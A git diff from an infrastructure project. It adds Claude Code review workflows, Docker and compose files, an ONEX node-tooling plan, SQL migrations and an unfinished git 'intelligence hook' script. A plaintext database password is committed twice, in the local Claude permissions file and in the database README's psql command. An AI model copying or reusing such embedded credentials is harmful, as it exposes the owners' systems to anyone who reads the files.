diff --git a/.claude/settings.local.json b/.claude/settings.local.json index 2fbe239799..b5161aac3a 100644 --- a/.claude/settings.local.json +++ b/.claude/settings.local.json @@ -3,7 +3,12 @@ "allow": [ "mcp__archon__perform_rag_query", "mcp__serena__find_file", - "mcp__serena__think_about_collected_information" + "mcp__serena__think_about_collected_information", + "mcp__serena__find_symbol", + "mcp__archon__create_document", + "mcp__archon__search_code_examples", + "mcp__archon__create_version", + "Bash(POSTGRES_HOST=localhost POSTGRES_PORT=5435 POSTGRES_PASSWORD=\"9#mK2$vP8@xL3&nQ7*wR5!zE6^uY4%tA1$bN3\" poetry run python test_postgres_connection.py)" ], "deny": [], "ask": [] diff --git a/.github/workflows/claude-code-review.yml b/.github/workflows/claude-code-review.yml new file mode 100644 index 0000000000..55256c2cc0 --- /dev/null +++ b/.github/workflows/claude-code-review.yml @@ -0,0 +1,55 @@ +name: Claude Code Review + +on: + pull_request: + types: [opened, synchronize] + # Optional: Only run on specific file changes + # paths: + # - "src/**/*.ts" + # - "src/**/*.tsx" + # - "src/**/*.js" + # - "src/**/*.jsx" + +jobs: + claude-review: + # Optional: Filter by PR author + # if: | + # github.event.pull_request.user.login == 'external-contributor' || + # github.event.pull_request.user.login == 'new-developer' || + # github.event.pull_request.author_association == 'FIRST_TIME_CONTRIBUTOR' + + runs-on: ubuntu-latest + permissions: + contents: read + pull-requests: write + issues: read + id-token: write + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 1 + + - name: Run Claude Code Review + id: claude-review + uses: anthropics/claude-code-action@v1 + with: + claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} + github_token: ${{ secrets.GITHUB_TOKEN }} + prompt: | + Please review this pull request and provide feedback on: + - Code quality and best practices + - Potential bugs or issues + - Performance considerations + - Security concerns + - Test coverage + + Use the repository's CLAUDE.md for guidance on style and conventions. Be constructive and helpful in your feedback. + + Use `gh pr comment` with your Bash tool to leave your review as a comment on the PR. + + # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md + # or https://docs.anthropic.com/en/docs/claude-code/sdk#command-line for available options + claude_args: '--allowed-tools "Bash(gh issue view:*),Bash(gh search:*),Bash(gh issue list:*),Bash(gh pr comment:*),Bash(gh pr diff:*),Bash(gh pr view:*),Bash(gh pr list:*)"' + diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml new file mode 100644 index 0000000000..ae36c007f3 --- /dev/null +++ b/.github/workflows/claude.yml @@ -0,0 +1,50 @@ +name: Claude Code + +on: + issue_comment: + types: [created] + pull_request_review_comment: + types: [created] + issues: + types: [opened, assigned] + pull_request_review: + types: [submitted] + +jobs: + claude: + if: | + (github.event_name == 'issue_comment' && contains(github.event.comment.body, '@claude')) || + (github.event_name == 'pull_request_review_comment' && contains(github.event.comment.body, '@claude')) || + (github.event_name == 'pull_request_review' && contains(github.event.review.body, '@claude')) || + (github.event_name == 'issues' && (contains(github.event.issue.body, '@claude') || contains(github.event.issue.title, '@claude'))) + runs-on: ubuntu-latest + permissions: + contents: read + pull-requests: read + issues: read + id-token: write + actions: read # Required for Claude to read CI results on PRs + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 1 + + - name: Run Claude Code + id: claude + uses: anthropics/claude-code-action@v1 + with: + claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} + + # This is an optional setting that allows Claude to read CI results on PRs + additional_permissions: | + actions: read + + # Optional: Give a custom prompt to Claude. If this is not specified, Claude will perform the instructions specified in the comment that tagged it. + # prompt: 'Update the pull request description to include a summary of changes.' + + # Optional: Add claude_args to customize behavior and configuration + # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md + # or https://docs.anthropic.com/en/docs/claude-code/sdk#command-line for available options + # claude_args: '--model claude-opus-4-1-20250805 --allowed-tools Bash(gh pr:*)' + diff --git a/.gitignore b/.gitignore index 0b715bf82a..b331af161c 100644 --- a/.gitignore +++ b/.gitignore @@ -288,4 +288,4 @@ kibana/data/ # Container registry credentials config.json -auth.json \ No newline at end of file +auth.json.env diff --git a/CLAUDE.md b/CLAUDE.md index e40d6d2e3e..20272c43c2 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -44,7 +44,7 @@ Claude Code operates in agent-driven mode for ONEX infrastructure development. F ### ONEX Architecture - **Contract-Driven** - All tools/services follow contract patterns -- **Registry Injection** - All dependencies injected via registry: `def __init__(self, registry: BaseOnexRegistry)` +- **Container Injection** - All dependencies injected via container: `def __init__(self, container: ONEXContainer)` - **Protocol Resolution** - Use duck typing through protocols, never isinstance - **OnexError Only** - All exceptions converted to OnexError with chaining: `raise OnexError(...) from e` @@ -433,7 +433,7 @@ For each infrastructure node: **Step 5: Registry Creation** - Create registry/ directory with dependency injection setup - Define protocol dependencies and injection patterns -- Follow registry injection pattern: `def __init__(self, registry: BaseOnexRegistry)` +- Follow container injection pattern: `def __init__(self, container: ONEXContainer)` ### Phase 3: Target Directory Structure diff --git a/CONFIGURATION_SUBCONTRACT_PLACEMENT.md b/CONFIGURATION_SUBCONTRACT_PLACEMENT.md new file mode 100644 index 0000000000..9478d0d574 --- /dev/null +++ b/CONFIGURATION_SUBCONTRACT_PLACEMENT.md @@ -0,0 +1,79 @@ +# Configuration Subcontract Model - Core Placement Required + +## 📍 Target Location +The configuration subcontract model should be placed in: +``` +omnibase_core/core/subcontracts/model_configuration_subcontract.py +``` + +## 🎯 Rationale +- **Foundational Pattern**: Configuration management is needed across ALL node types (AI, infrastructure, business logic) +- **Standards Consistency**: All other subcontract models are in `omnibase_core.core.subcontracts` +- **Reusability**: Infrastructure, compute, reducer, orchestrator, and gateway nodes all need standardized configuration +- **Architecture Compliance**: Follows established ONEX subcontract placement patterns + +## 📦 Current Status +- ✅ **Model Created**: Complete 342-line Pydantic model with validation +- ✅ **Contract Updated**: PostgreSQL adapter references temporary local location +- ✅ **Working Implementation**: Model imports and validates successfully +- ⏳ **Migration Pending**: Awaiting omnibase_core merge for final placement + +## 🔄 Migration Strategy +**Phase 1 (Current)**: Use temporary local copy +- Location: `omnibase_infra.models.infrastructure.model_configuration_subcontract` +- Status: ✅ Working and tested +- Import: `from omnibase_infra.models.infrastructure.model_configuration_subcontract import ModelConfigurationSubcontract` + +**Phase 2 (After omnibase_core merge)**: Switch to core reference +- Location: `omnibase_core.core.subcontracts.model_configuration_subcontract` +- Simple contract update: Change module path only +- Import: `from omnibase_core.core.subcontracts.model_configuration_subcontract import ModelConfigurationSubcontract` + +## 🔄 Integration Pattern +Once placed in core, this subcontract will be available for: + +### Infrastructure Nodes +- `postgres_adapter`, `consul_adapter`, `kafka_adapter`, `vault_adapter` +- Service discovery, message queues, secret management + +### AI Processing Nodes +- LLM processors, embedding services, model inference nodes +- Configuration for model endpoints, API keys, compute resources + +### Business Logic Nodes +- Compute nodes, reducer nodes, orchestrator nodes +- Domain-specific configuration patterns + +### Gateway Nodes +- API gateways, service proxies, load balancers +- Network configuration, routing rules, security policies + +## 📋 File Content +The complete model is currently located at: +``` +/Volumes/PRO-G40/Code/omnibase_infra/src/omnibase_infra/models/infrastructure/model_configuration_subcontract.py +``` + +This file contains: +- `ConfigurationSourceType` enum (container, environment, defaults, file) +- `ValidationRuleType` enum (format, range, enum, required) +- `ModelConfigurationSource` - Source priority and validation +- `ModelEnvironmentConfiguration` - Environment variable patterns +- `ModelValidationRule` - Individual validation rules with type-specific logic +- `ModelConfigurationValidation` - Validation rule collections +- `ModelConfigurationIntegration` - Container/environment integration +- `ModelConfigurationSecurity` - Security and sanitization +- `ModelConfigurationSubcontract` - Main subcontract model + +## ✅ Next Steps +1. Copy the model file to `omnibase_core/core/subcontracts/` +2. Update `omnibase_core/core/subcontracts/__init__.py` to include the new model +3. Test import in PostgreSQL adapter: `from omnibase_core.core.subcontracts.model_configuration_subcontract import ModelConfigurationSubcontract` +4. Remove temporary file from `omnibase_infra/models/infrastructure/` + +## 🎯 Impact +This establishes the foundational configuration management pattern for the entire ONEX architecture, ensuring consistent configuration handling across all node types with: +- Standardized environment variable prefixing (`ONEX_INFRA_{NODE_NAME}_`) +- Container service resolution with fallback +- Comprehensive validation with security sanitization +- Proper error handling and detailed messages \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000000..8c899cf2e3 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,38 @@ +FROM python:3.12-slim + +# GitHub token will be provided via Docker secret + +WORKDIR /app + +# Install system dependencies +RUN apt-get update && apt-get install -y \ + curl \ + git \ + && rm -rf /var/lib/apt/lists/* + +# Configure git with GitHub token for private repos (using mount to avoid layer exposure) +RUN --mount=type=secret,id=github_token \ + GITHUB_TOKEN=$(cat /run/secrets/github_token) && \ + git config --global url."https://${GITHUB_TOKEN}@github.com/".insteadOf "https://github.com/" + +# Install Poetry +RUN pip install poetry + +# Copy poetry files and README +COPY pyproject.toml poetry.lock README.md ./ + +# Copy source code first +COPY src/ ./src/ + +# Configure poetry and install dependencies +RUN poetry config virtualenvs.create false \ + && poetry install --only main + +# Set Python path +ENV PYTHONPATH=/app/src + +# Expose port +EXPOSE 8080 + +# Run the PostgreSQL adapter +CMD ["python", "-m", "omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.node"] \ No newline at end of file diff --git a/IMPLEMENTATION_PLAN.md b/IMPLEMENTATION_PLAN.md new file mode 100644 index 0000000000..17385de8bf --- /dev/null +++ b/IMPLEMENTATION_PLAN.md @@ -0,0 +1,361 @@ +# OmniBase Infrastructure Implementation Plan + +**Version**: 1.0.0 +**Created**: 2025-01-11 +**Purpose**: Implementation roadmap for unified ONEX node architecture tooling +**Based on**: OMNIBASE_INFRA_ENHANCEMENTS.md requirements +**Foundation**: PostgreSQL Adapter EFFECT Node (production-ready reference) + +## 🎯 Strategic Overview + +### Vision +Transform `omnibase_infra` into a comprehensive infrastructure tooling system that enables rapid, consistent, and high-quality ONEX node development across all domains and repositories. + +### Success Criteria +- ✅ **Consistency**: All generated nodes follow identical patterns and quality standards +- ✅ **Velocity**: New nodes generated in minutes, not days +- ✅ **Quality**: Automated validation ensures compliance and security +- ✅ **Migration**: Existing nodes can be modernized automatically +- ✅ **Scalability**: System supports all 4 node types across domains + +### Foundation Assets +Our **PostgreSQL Adapter EFFECT Node** serves as the proven reference implementation: +- 📁 `src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/` +- ✅ Modern ONEX architecture with NodeEffectService pattern +- ✅ Contract-driven development with YAML specifications +- ✅ Strong typing with Pydantic models (zero `Any` types) +- ✅ Security patterns with comprehensive validation and sanitization +- ✅ Performance optimization with pre-compiled regex patterns +- ✅ Comprehensive test coverage including security and integration tests + +## 📋 Implementation Phases + +### Phase 1: Foundation & CLI Bootstrap (2-3 weeks) +**Goal**: Create working CLI that can generate EFFECT nodes identical to our PostgreSQL adapter + +#### 1.1 Core CLI Infrastructure +- [ ] **Create CLI entry point** (`cli/main.py`) + - Typer-based CLI with subcommands + - Version and doctor commands for system health + - Integration with existing project structure + +- [ ] **Implement generate command** (`cli/commands/generate.py`) + - `omnibase-infra generate effect` command + - Parameter validation and template configuration + - Output directory management and overwrite handling + +#### 1.2 Template Engine Foundation +- [ ] **Basic template engine** (`generation/template_engine.py`) + - Jinja2-based template processing + - Placeholder resolution system + - File and directory structure generation + - PostgreSQL adapter as first template + +#### 1.3 Template Extraction +- [ ] **Extract PostgreSQL adapter into template** (`cli/templates/effect_node_template/`) + - Convert existing PostgreSQL adapter to Jinja2 template + - Parameterize domain, microservice, and operation names + - Preserve all security, performance, and quality patterns + - Template structure: + ``` + effect_node_template/v1_0_0/ + ├── node.py.jinja # Core node implementation + ├── models/ + │ ├── model_input.py.jinja # Input envelope model + │ ├── model_output.py.jinja # Output envelope model + │ └── model_config.py.jinja # Configuration model + ├── enums/ + │ └── enum_operation_type.py.jinja # Operation type enum + ├── contracts/ + │ └── processing_subcontract.yaml.jinja # Processing contract + └── README.md.jinja # Documentation + ``` + +#### 1.4 Validation Foundation +- [ ] **Basic structure validator** (`validation/structure_validator.py`) + - Validate generated node directory structure + - Check required files and naming conventions + - Validate Python imports and basic syntax + +#### 1.5 Milestone: First Generated Node +- [ ] **Bootstrap test**: Generate a second EFFECT node using the CLI + - Target: `redis_adapter_effect` node + - Validate: Generated node has identical patterns to PostgreSQL adapter + - Success metric: Generated node passes all validation checks + +### Phase 2: Core Feature Implementation (3-4 weeks) +**Goal**: Complete the essential tooling ecosystem with validation and migration + +#### 2.1 Contract Validation System +- [ ] **Contract validator** (`contracts/validator.py`) + - YAML contract schema validation + - Implementation-contract compliance checking + - Performance requirement validation + - Security compliance verification + +#### 2.2 Node Migration Framework +- [ ] **Migration analyzer** (`migration/analyzer.py`) + - Existing node pattern detection + - Architecture analysis and modernization assessment + - Breaking change detection + +- [ ] **Migration orchestrator** (`migration/migrator.py`) + - Step-by-step migration planning + - Backup and rollback capabilities + - Incremental migration with validation checkpoints + +#### 2.3 Enhanced Validation +- [ ] **Node validator** (`validation/node_validator.py`) + - ONEX architecture compliance checking + - Security pattern validation + - Performance pattern verification + - Type safety enforcement (zero `Any` types) + +#### 2.4 Command Expansion +- [ ] **Validate command** (`cli/commands/validate.py`) + - `omnibase-infra validate node` - validate existing nodes + - `omnibase-infra validate contract` - validate contracts + - Integration with contract validation system + +- [ ] **Migrate command** (`cli/commands/migrate.py`) + - `omnibase-infra migrate analyze` - assess migration readiness + - `omnibase-infra migrate plan` - generate migration plan + - `omnibase-infra migrate execute` - perform migration + +#### 2.5 Milestone: Complete EFFECT Node Ecosystem +- [ ] **Migration test**: Migrate an existing legacy node to unified architecture +- [ ] **Validation test**: Validate all nodes in omnibase_infra repository +- [ ] **Generation test**: Generate 5 different EFFECT nodes with different configurations + +### Phase 3: Multi-Node Type Support (4-6 weeks) +**Goal**: Extend system to support all 4 node types with complete template coverage + +#### 3.1 Template Expansion +- [ ] **COMPUTE node template** (`cli/templates/compute_node_template/`) + - Algorithm processing patterns + - ML model integration support + - Data transformation patterns + +- [ ] **REDUCER node template** (`cli/templates/reducer_node_template/`) + - State consolidation patterns + - Aggregation strategies + - Decision making frameworks + +- [ ] **ORCHESTRATOR node template** (`cli/templates/orchestrator_node_template/`) + - Workflow coordination patterns + - Multi-step process management + - Resource orchestration + +#### 3.2 Advanced Generation Features +- [ ] **Custom operation generation** + - Dynamic operation method generation + - Enum value creation + - Contract customization + +- [ ] **Multi-repository support** + - Cross-repository node generation + - Repository-specific configuration + - Dependency management + +#### 3.3 Testing Framework +- [ ] **Template test generator** (`testing/template_test_generator.py`) + - Automated test generation for templates + - Security test pattern generation + - Integration test scaffolding + +#### 3.4 Milestone: Complete Node Type Coverage +- [ ] **Generate one node of each type**: EFFECT, COMPUTE, REDUCER, ORCHESTRATOR +- [ ] **Cross-node integration test**: Verify nodes work together in workflow +- [ ] **Performance benchmark**: Measure generation speed and quality + +### Phase 4: Advanced Features & Ecosystem (2-3 weeks) +**Goal**: Complete the advanced tooling ecosystem with manifests and enterprise features + +#### 4.1 Manifest Management +- [ ] **Version manifest system** (`manifests/manager.py`) + - Semantic versioning support + - Compatibility matrix management + - Upgrade path calculation + +#### 4.2 Contract Management +- [ ] **Contract command** (`cli/commands/contract.py`) + - `omnibase-infra contract generate` - generate contracts from implementations + - `omnibase-infra contract validate` - comprehensive validation + - `omnibase-infra contract upgrade` - contract version management + +#### 4.3 Quality Assurance Integration +- [ ] **Security validator** (`validation/security_validator.py`) + - Automated security pattern validation + - Vulnerability scanning + - Compliance reporting + +- [ ] **Performance validator** (`validation/performance_validator.py`) + - Performance pattern validation + - Resource usage analysis + - Optimization recommendations + +#### 4.4 Developer Experience +- [ ] **Interactive mode** - guided node creation with prompts +- [ ] **Configuration templates** - pre-configured setups for common patterns +- [ ] **Documentation generation** - automated README and API doc generation + +## 🛠️ Technical Implementation Details + +### Architecture Principles +1. **Template-First**: All generation based on proven, production-ready templates +2. **Contract-Driven**: Contracts define interface, implementation follows +3. **Security-by-Default**: All security patterns built into templates +4. **Performance-Optimized**: Pre-compiled patterns and efficient implementations +5. **Type-Safe**: Strong typing enforced throughout, zero `Any` types + +### Quality Gates +Each phase must pass these quality gates before proceeding: + +#### Phase 1 Gates +- [ ] CLI generates functional EFFECT node identical to PostgreSQL adapter +- [ ] Generated node passes all existing PostgreSQL adapter tests +- [ ] Template system handles parameterization correctly +- [ ] Basic validation catches structural issues + +#### Phase 2 Gates +- [ ] Contract validation catches all non-compliance issues +- [ ] Migration system successfully modernizes legacy node +- [ ] Validation system enforces ONEX architecture standards +- [ ] All generated nodes pass comprehensive validation + +#### Phase 3 Gates +- [ ] All 4 node types can be generated successfully +- [ ] Cross-node integration works correctly +- [ ] Performance meets benchmarks (< 30 seconds per node generation) +- [ ] Test coverage > 90% for all templates + +#### Phase 4 Gates +- [ ] Complete tooling ecosystem functional +- [ ] Documentation comprehensive and current +- [ ] Performance optimization complete +- [ ] Ready for production deployment + +## 📁 File Structure Plan + +``` +omnibase_infra/ +├── cli/ # New: CLI system +│ ├── main.py # CLI entry point +│ ├── commands/ # Command implementations +│ │ ├── generate.py # Node generation +│ │ ├── validate.py # Validation commands +│ │ ├── migrate.py # Migration commands +│ │ └── contract.py # Contract management +│ └── templates/ # Node templates +│ ├── effect_node_template/ # EFFECT template (from PostgreSQL adapter) +│ ├── compute_node_template/ # COMPUTE template +│ ├── reducer_node_template/ # REDUCER template +│ └── orchestrator_node_template/ # ORCHESTRATOR template +├── generation/ # New: Template engine system +│ ├── template_engine.py # Core template processing +│ ├── code_generator.py # Code generation utilities +│ └── placeholder_resolver.py # Parameter substitution +├── contracts/ # New: Contract management +│ ├── validator.py # Contract validation +│ ├── parser.py # YAML parsing +│ └── generator.py # Contract generation +├── validation/ # New: Validation framework +│ ├── node_validator.py # Node compliance validation +│ ├── structure_validator.py # Directory structure validation +│ ├── architecture_validator.py # ONEX architecture compliance +│ └── security_validator.py # Security pattern validation +├── migration/ # New: Migration system +│ ├── migrator.py # Migration orchestration +│ ├── analyzer.py # Legacy node analysis +│ └── backup_manager.py # Backup and rollback +├── testing/ # New: Test generation +│ └── template_test_generator.py # Automated test creation +├── nodes/ # Existing: Node implementations +│ ├── node_postgres_adapter_effect/ # Reference implementation +│ └── [other existing nodes] +├── infrastructure/ # Existing: Legacy (to be migrated) +└── [existing structure] +``` + +## 🚀 Getting Started + +### Prerequisites +- Python 3.12+ +- Poetry for dependency management +- omnibase_core v2.0.0 +- Existing omnibase_infra repository + +### Phase 1 Development Setup +```bash +# Install CLI development dependencies +poetry add typer jinja2 pydantic pyyaml + +# Create CLI structure +mkdir -p cli/{commands,templates} +mkdir -p generation validation + +# Bootstrap first template from PostgreSQL adapter +cp -r src/omnibase_infra/nodes/node_postgres_adapter_effect cli/templates/effect_node_template + +# Start CLI development +python -m omnibase_infra.cli.main --help +``` + +### Success Validation +After each phase, validate success with: +```bash +# Phase 1: Generate first node +omnibase-infra generate effect --domain=test --microservice=redis --repository=omnibase_infra + +# Phase 2: Validate and migrate +omnibase-infra validate node ./test_redis_effect +omnibase-infra migrate analyze ./legacy_node + +# Phase 3: Generate all node types +omnibase-infra generate compute --domain=ai --microservice=classifier +omnibase-infra generate reducer --domain=rsd --microservice=priority_reducer +omnibase-infra generate orchestrator --domain=workflow --microservice=coordinator + +# Phase 4: Complete ecosystem +omnibase-infra contract validate ./generated_nodes +omnibase-infra doctor # System health check +``` + +## 📊 Success Metrics + +### Quantitative Metrics +- **Generation Speed**: < 30 seconds per node +- **Code Quality**: 100% type safety (zero `Any` types) +- **Test Coverage**: > 90% for all generated code +- **Security Compliance**: 100% of security patterns implemented +- **Migration Success Rate**: > 95% of legacy nodes migrate successfully + +### Qualitative Metrics +- **Developer Experience**: Intuitive CLI with clear documentation +- **Consistency**: All generated nodes follow identical patterns +- **Maintainability**: Templates easy to modify and extend +- **Reliability**: System handles edge cases gracefully + +## 🔄 Iterative Feedback Loops + +### Weekly Reviews +- Template quality and pattern consistency +- CLI usability and developer experience +- Performance optimization opportunities +- Documentation clarity and completeness + +### Phase Reviews +- Architecture decision validation +- Quality gate assessment +- Timeline and scope adjustment +- Stakeholder feedback integration + +### Continuous Validation +- Generated node quality monitoring +- Template effectiveness measurement +- Migration success rate tracking +- Developer satisfaction surveys + +--- + +**Note**: This plan leverages our production-ready PostgreSQL adapter as the foundation, ensuring we start with proven patterns rather than theoretical designs. The bootstrap approach minimizes risk while maximizing velocity toward the comprehensive infrastructure tooling vision. \ No newline at end of file diff --git a/database/README.md b/database/README.md new file mode 100644 index 0000000000..7186f23770 --- /dev/null +++ b/database/README.md @@ -0,0 +1,36 @@ +# Database Migrations + +This directory contains SQL migration scripts for the omnibase_infrastructure database. + +## Migration Files + +- `001_init_infrastructure_schema.sql` - Initial infrastructure schema setup + +## Usage + +### Development Environment +```bash +# Apply migrations to local PostgreSQL instance +POSTGRES_HOST=localhost POSTGRES_PORT=5435 \ +POSTGRES_PASSWORD="9#mK2$vP8@xL3&nQ7*wR5!zE6^uY4%tA1$bN3" \ +psql -h localhost -p 5435 -U postgres -d omnibase_infrastructure -f database/migrations/001_init_infrastructure_schema.sql +``` + +### Docker Environment +```bash +# Apply migrations inside Docker container +docker exec -i omnibase_infra-postgres-1 psql -U postgres -d omnibase_infrastructure < database/migrations/001_init_infrastructure_schema.sql +``` + +## Migration Naming Convention + +- `_.sql` (e.g., `001_init_infrastructure_schema.sql`) +- Numbers are zero-padded and sequential +- Descriptions use snake_case + +## Schema Structure + +### `infrastructure` Schema +- `service_registry` - Central registry for all infrastructure services + - Tracks service endpoints, versions, and health status + - Used by service discovery and health monitoring systems \ No newline at end of file diff --git a/database/migrations/001_init_infrastructure_schema.sql b/database/migrations/001_init_infrastructure_schema.sql new file mode 100644 index 0000000000..dd10f20ee3 --- /dev/null +++ b/database/migrations/001_init_infrastructure_schema.sql @@ -0,0 +1,24 @@ +-- Migration: 001_init_infrastructure_schema.sql +-- Description: Initialize omnibase_infrastructure database with core infrastructure schema +-- Version: 1.0.0 +-- Created: Initial infrastructure setup +CREATE SCHEMA IF NOT EXISTS infrastructure; + +-- Create service registry table +CREATE TABLE IF NOT EXISTS infrastructure.service_registry ( + id SERIAL PRIMARY KEY, + service_name VARCHAR(255) NOT NULL, + service_version VARCHAR(50) NOT NULL, + endpoint VARCHAR(500) NOT NULL, + health_endpoint VARCHAR(500), + status VARCHAR(50) DEFAULT 'active', + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Insert some test data +INSERT INTO infrastructure.service_registry (service_name, service_version, endpoint, health_endpoint) +VALUES + ('postgres-adapter', 'v1.0.0', 'http://localhost:8080', 'http://localhost:8080/health'), + ('consul-adapter', 'v1.0.0', 'http://localhost:8081', 'http://localhost:8081/health') +ON CONFLICT DO NOTHING; \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000000..b4dff8a074 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,50 @@ +version: '3.8' + +services: + postgres: + image: postgres:15 + container_name: omnibase-infra-postgres + environment: + POSTGRES_DB: omnibase_infrastructure + POSTGRES_USER: postgres + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + ports: + - "5435:5432" + volumes: + - postgres_data:/var/lib/postgresql/data + - ./init.sql:/docker-entrypoint-initdb.d/init.sql + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres -d omnibase_infrastructure"] + interval: 10s + timeout: 5s + retries: 5 + + postgres-adapter: + build: + context: . + secrets: + - github_token + container_name: omnibase-infra-postgres-adapter + environment: + POSTGRES_HOST: postgres + POSTGRES_PORT: 5432 + POSTGRES_DATABASE: omnibase_infrastructure + POSTGRES_USER: postgres + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + ports: + - "8080:8080" + depends_on: + postgres: + condition: service_healthy + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:8080/health"] + interval: 30s + timeout: 10s + retries: 3 + +secrets: + github_token: + environment: "GITHUB_TOKEN" + +volumes: + postgres_data: \ No newline at end of file diff --git a/scripts/intelligence_hook.py b/scripts/intelligence_hook.py new file mode 100755 index 0000000000..ffb389701c --- /dev/null +++ b/scripts/intelligence_hook.py @@ -0,0 +1,1559 @@ +#!/usr/bin/env python3 +""" +Enhanced Intelligence Hook - Python Implementation + +This script processes git changes and generates intelligence documents for the Archon system. +It analyzes commits, correlates changes across repositories, and submits intelligence data +via the Archon Intelligence API. + +Version: 3.1.0 (Python Implementation with Poetry) +""" + +import argparse +import json +import logging +import os +import subprocess +import sys +import time +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + + +def json_datetime_serializer(obj): + """JSON serializer for objects not serializable by default json code.""" + if isinstance(obj, datetime): + return obj.isoformat() + raise TypeError(f"Object of type {obj.__class__.__name__} is not JSON serializable") + + +# Try to import httpx first (available in most ONEX repositories) +# Fall back to requests as a backup +try: + import httpx + + HTTP_CLIENT = "httpx" +except ImportError: + try: + import requests + + HTTP_CLIENT = "requests" + except ImportError: + print( + "❌ Error: Neither httpx nor requests is available. Please install one of these dependencies.", + file=sys.stderr, + ) + sys.exit(1) + +# Intelligence Models - Included inline for cross-repository compatibility +from enum import Enum + +try: + from pydantic import BaseModel, Field + + PYDANTIC_AVAILABLE = True +except ImportError: + print( + "❌ Error: Pydantic is required for intelligence hooks but not available.", + file=sys.stderr, + ) + sys.exit(1) + + +class IntelligenceDocumentType(str, Enum): + """Types of intelligence documents""" + + INTELLIGENCE = "intelligence" + CORRELATION = "correlation" + SECURITY_ANALYSIS = "security_analysis" + CODE_ANALYSIS = "code_analysis" + + +class AnalysisType(str, Enum): + """Types of analysis performed""" + + ENHANCED_CODE_CHANGES_WITH_CORRELATION = "enhanced_code_changes_with_correlation" + BASIC_CODE_CHANGES = "basic_code_changes" + SECURITY_SCAN = "security_scan" + PERFORMANCE_ANALYSIS = "performance_analysis" + + +class RiskLevel(str, Enum): + """Risk assessment levels""" + + LOW = "low" + MEDIUM = "medium" + HIGH = "high" + CRITICAL = "critical" + + +class SecurityStatus(str, Enum): + """Security scan results""" + + CLEAN = "clean" + WARNINGS = "warnings" + ISSUES = "issues" + CRITICAL = "critical" + + +class IntelligenceMetadata(BaseModel): + """Metadata for intelligence documents""" + + timestamp: datetime = Field(..., description="Analysis timestamp") + repository: str = Field(..., description="Repository name") + branch: str = Field(..., description="Git branch") + commit: str = Field(..., description="Commit hash") + author: str = Field(..., description="Commit author") + hook_version: str = Field(..., description="Intelligence hook version") + + +class ChangeSummary(BaseModel): + """Summary of code changes""" + + commit_message: str = Field(..., description="Git commit message") + files_changed: int = Field(..., description="Number of files modified") + lines_added: int = Field(0, description="Lines added") + lines_removed: int = Field(0, description="Lines removed") + security_status: SecurityStatus = Field( + SecurityStatus.CLEAN, description="Security scan result" + ) + + +class ImpactAssessment(BaseModel): + """Assessment of change impact""" + + coordination_required: bool = Field( + False, description="Whether coordination is needed" + ) + risk_level: RiskLevel = Field(RiskLevel.LOW, description="Overall risk level") + affected_systems: List[str] = Field( + default_factory=list, description="Systems that may be affected" + ) + breaking_changes: List[str] = Field( + default_factory=list, description="Potential breaking changes" + ) + + +class CrossRepositoryCorrelation(BaseModel): + """Cross-repository correlation analysis""" + + enabled: bool = Field( + True, description="Whether correlation analysis was performed" + ) + correlation_id: str = Field(..., description="Unique correlation identifier") + temporal_correlations: List[Dict[str, Any]] = Field( + default_factory=list, description="Time-based correlations" + ) + semantic_correlations: List[Dict[str, Any]] = Field( + default_factory=list, description="Semantic correlations" + ) + breaking_changes: List[Dict[str, Any]] = Field( + default_factory=list, description="Breaking change correlations" + ) + impact_assessment: ImpactAssessment = Field(..., description="Impact assessment") + + +class SecurityAndPrivacy(BaseModel): + """Security and privacy analysis""" + + sensitive_patterns: List[str] = Field( + default_factory=list, description="Detected sensitive patterns" + ) + security_score: float = Field( + 1.0, ge=0.0, le=1.0, description="Security confidence score" + ) + privacy_concerns: List[str] = Field( + default_factory=list, description="Privacy-related concerns" + ) + recommendations: List[str] = Field( + default_factory=list, description="Security recommendations" + ) + + +class TechnicalAnalysis(BaseModel): + """Technical code analysis""" + + complexity_score: float = Field(0.0, ge=0.0, description="Code complexity score") + quality_score: float = Field(1.0, ge=0.0, le=1.0, description="Code quality score") + maintainability: str = Field("good", description="Maintainability assessment") + test_coverage: Optional[float] = Field(None, description="Test coverage percentage") + architecture_compliance: Dict[str, Any] = Field( + default_factory=dict, description="Architecture compliance" + ) + + +class IntelligenceDocumentContent(BaseModel): + """Complete intelligence document content""" + + analysis_type: AnalysisType = Field(..., description="Type of analysis performed") + metadata: IntelligenceMetadata = Field(..., description="Document metadata") + change_summary: ChangeSummary = Field(..., description="Summary of changes") + cross_repository_correlation: CrossRepositoryCorrelation = Field( + ..., description="Correlation analysis" + ) + security_and_privacy: SecurityAndPrivacy = Field( + ..., description="Security analysis" + ) + technical_analysis: Optional[TechnicalAnalysis] = Field( + None, description="Technical analysis" + ) + raw_diff: Optional[str] = Field(None, description="Raw git diff content") + + +class MCPCreateDocumentRequest(BaseModel): + """MCP request for creating intelligence documents""" + + method: str = Field("create_document", description="MCP method name") + params: Dict[str, Any] = Field(..., description="MCP method parameters") + + @classmethod + def create_intelligence_document( + cls, project_id: str, content: IntelligenceDocumentContent, repository_name: str + ) -> "MCPCreateDocumentRequest": + """Create an MCP request for intelligence document""" + return cls( + method="create_document", + params={ + "project_id": project_id, + "title": f"Intelligence: {repository_name} Code Changes with Analysis", + "document_type": "intelligence", + "content": content.model_dump(), + "author": "Intelligence Hook v3.1", + "tags": [ + "intelligence", + "automation", + "git-hook", + 